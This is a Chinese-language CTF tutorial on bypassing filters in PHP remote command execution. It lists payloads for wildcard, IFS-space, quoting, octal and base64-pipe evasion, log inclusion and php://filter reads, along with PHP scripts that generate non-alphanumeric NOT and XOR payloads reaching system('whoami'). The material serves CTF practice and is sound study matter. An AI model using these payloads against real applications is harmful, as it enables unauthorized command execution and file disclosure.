RCE PHP远程命令执行绕过
# 通配符
绕过文件名/扩展名的限制
tac f*
cat f?ag.p?p
less f*
more f*
2
3
4
# php函数执行命令
system函数会将参数字符串作为系统命令执行
system("ls")
类似功能函数,eval,passthru,assert,exec,shell_exec,pre_match,create_function等等
参考
# 逃逸
# 检测函数waf()
eval(waf($_GET[cmd]));
2
题目对传参的变量要求很严格但没有严格过滤时,可以尝试逃逸
# 命令逃逸
?cmd=$_GET[a]($_GET[b]);&a=assert&b=phpinfo()
日志包含
?cmd=include$_GET[1];&1=/var/log/apache2/access.log
# 伪协议读文件
?cmd=include$_GET[1];&1=php://filter/convert.base64-encode/resource=index.php
# 其他
2
3
4
5
6
7
# 反引号,echo执行代码
echo `ls`
反引号中字符串作为命令执行,但是没有回显,前面补充一个echo
,如果命令是有执行结果的,可以直接打印出来
eval("echo `ls`;");
对于没有回显的RCE,善用一些带有文件操作的命令,例如cp
,mv
,tee
,>
等,把结果写进文件或复制、重命名目标文件,解除限制
重定向“>”符号很好玩,把命令的结果打印到新的文件中,详细看写文件 (opens new window)
# 拼接
在命令行定义变量,拼接食用
a=l;b=s;$a$b;
# 空格绕过
注意:其中的url编码只有在get传参时能使用
%09 # tab的url编码
%0a # 换行url编码
${IFS} # bash中的分隔符,空格,tab,换行符
$IFS # 同上
$IFS$9 # 同上
< # 重定向
> # 重定向
{命令,参数} # 例如,{ls,/}
2
3
4
5
6
7
8
以上,由于大部分web题目的基础镜像使用了Apline Linux
,shell环境比较基础,<,<>重定向不能和通配符?同时使用,如果是ubuntu
环境,那么你可以尝试一下,具体参考刷题疑问-web容器环境
%09,%0Atab和换行的url编码,只有明确ban了才不能用,如果只是ban数字和字母,不妨碍继续使用
# 转义绕过
在一些时候开发者(出题人),可能只做了简单的关键词过滤或过滤逻辑不严格时,你或许可以通过转义字符绕过(这里转义字符一定不要有实际转义)
你可以在终端尝试,在加上反斜杠后不会转义的字符前加上反斜杠,例如,l,c没有实际意义的转义,所以转义后还是本身
Tip:转义在终端类环境下可用,例如system("")函数,只有一层php的eval()函数不能直接执行linux命令,配合反引号可以执行,但不会有回显,可以再配合一次重定向写文件
payload:c=system("ta\c f\lag.php");
$c = $_GET['c'];
if(!preg_match("/flag/i", $c)){
eval($c);
}
2
3
4
当正则匹配字段/命令限制较多时,你可以多一个选择
# 单双引号
在linux环境下,在要执行的命令中加入''单引号 双引号"",并不会解析,命令会正常执行,这也可以作为绕过关键字限制的一种方法
p''w''d
l''s
pw""d
l""s
2
3
4
等等类似命令都可以正常执行
# 八进制
在linux环境下,把命令转化为八进制数,使用$'\八进制数',命令会正确执行,注意:命令不能带有参数 例如ls -lah,tac /flag中-lah,/flag都算参数
更详细内容可以看探姬的bashfuck (opens new window)这个项目
ls命令的八进制数
$'\154\163'
# {命令,参数}
在linux下可以使用{ls,/}格式执行命令
{ls,/}
# bin目录下工具
在代码执行限制时,后期练习可能ban掉所有字母,如果数字,通配符?和斜杠/还能用,可以使用bin目录下带数字的工具,例如/bin/base64
/???/????64${IFS}????.???
# 编码,管道符
在命令行使用ls的base64编码执行
echo bHM=|base64 -d|sh
解析:
- 1.通过输出流echo打印base64编码,传递给管道符的第二部分
- 2.base64进行解码,得到原始命令'ls',传递给第三部分
- 3.sh在命令行中执行这个原始命令
在空格被ban时,可以使用${IFS},$IFS,$IFS$9填充空格
echo$IFSbHM=|base64$IFS$9-d|sh
提示
无字母数字RCE
# 取反
测试,8.x版本好像不行
<?php
# 测试用
$cmd = "phpinfo";
echo "(~" . urlencode(~$cmd). ")();";
echo "\n";
# (~%8F%97%8F%96%91%99%90)();
# 构造
$func = "assert";
$params = "system('whoami')";
# 取反
$func = "(~" . urlencode(~$func) . ")";
$params = "(~" . urlencode(~$params) . ");";
echo $func . $params;
2
3
4
5
6
7
8
9
10
11
12
13
14
# 自增
参考:
自增,取反,异或 实现RCE (opens new window)
# 异或
先写一个脚本,通过不可见字符,异或运算,构造出可见字符a-z0-9以及其他可见字符
<?php
function x0r() {
// 遍历不可见字符 (ASCII 128 到 255)
for ($x = 128; $x <= 255; $x++) {
for ($y = 128; $y <= 255; $y++) {
$result = $x ^ $y;
if ($result >= 32 && $result <= 126) { // 如果结果是可见字符
echo chr($result) . " : '%" . dechex($x) . "'^'%" . dechex($y) . "'\n";
}
}
}
}
x0r();
?>
2
3
4
5
6
7
8
9
10
11
12
13
14
15
把可见字符存储在数组里,方便后续调用
<?php
function x0r() {
$results = [];
// 遍历不可见字符 (ASCII 128 到 255)
for ($x = 128; $x <= 255; $x++) {
for ($y = 128; $y <= 255; $y++) {
$result = $x ^ $y; // 计算按位异或
if ($result >= 32 && $result <= 126) {
$results[] = [
'char' => chr($result),
'expr' => "'%" . dechex($x) . "'^'%" . dechex($y) . "'"
];
}
}
}
foreach ($results as $entry) {
echo $entry['char'] . " : " . $entry['expr'] . "\n";
}
return $results;
}
$res = x0r();
var_dump($res);
?>
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
稍加处理,得到最终的异或构造任意rce脚本
<?php
function x0r() {
$results = [];
for ($x = 128; $x <= 255; $x++) {
for ($y = 128; $y <= 255; $y++) {
$result = $x ^ $y;
if ($result >= 32 && $result <= 126) {
$results[] = [
'char' => chr($result),
'expr' => "'%" . dechex($x) . "'^'%" . dechex($y) . "'"
];
}
}
}
return $results;
}
# 替换
function rep1ace($arr, $str2x0r) {
foreach ($arr as $entry) {
if ($entry['char'] === $str2x0r) {
return "(" . $entry['expr'] . ").";
}
}
return null;
}
# 拼接
function andword($payload, $x0rResults) {
$result = '';
foreach (str_split($payload) as $char) {
$expr = rep1ace($x0rResults, $char);
if ($expr) {
$result .= $expr;
} else {
$result .= $char;
}
}
return $result;
}
# 异或获取可见字符
$res = x0r();
$func = "assert";
$params = "system('whoami')";
# 分别处理替换
$func = andword($func, $res);
$params = andword($params, $res);
if (substr($func, -1) === '.') {
$func = rtrim($func, '.');
}
if (substr($params, -1) === '.') {
$params = rtrim($params, '.');
}
$payload = "($func)" . "($params);";
echo "Payload: " . $payload . "\n";
?>
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
参考:
你可以阅读同类型其他大佬内容文章: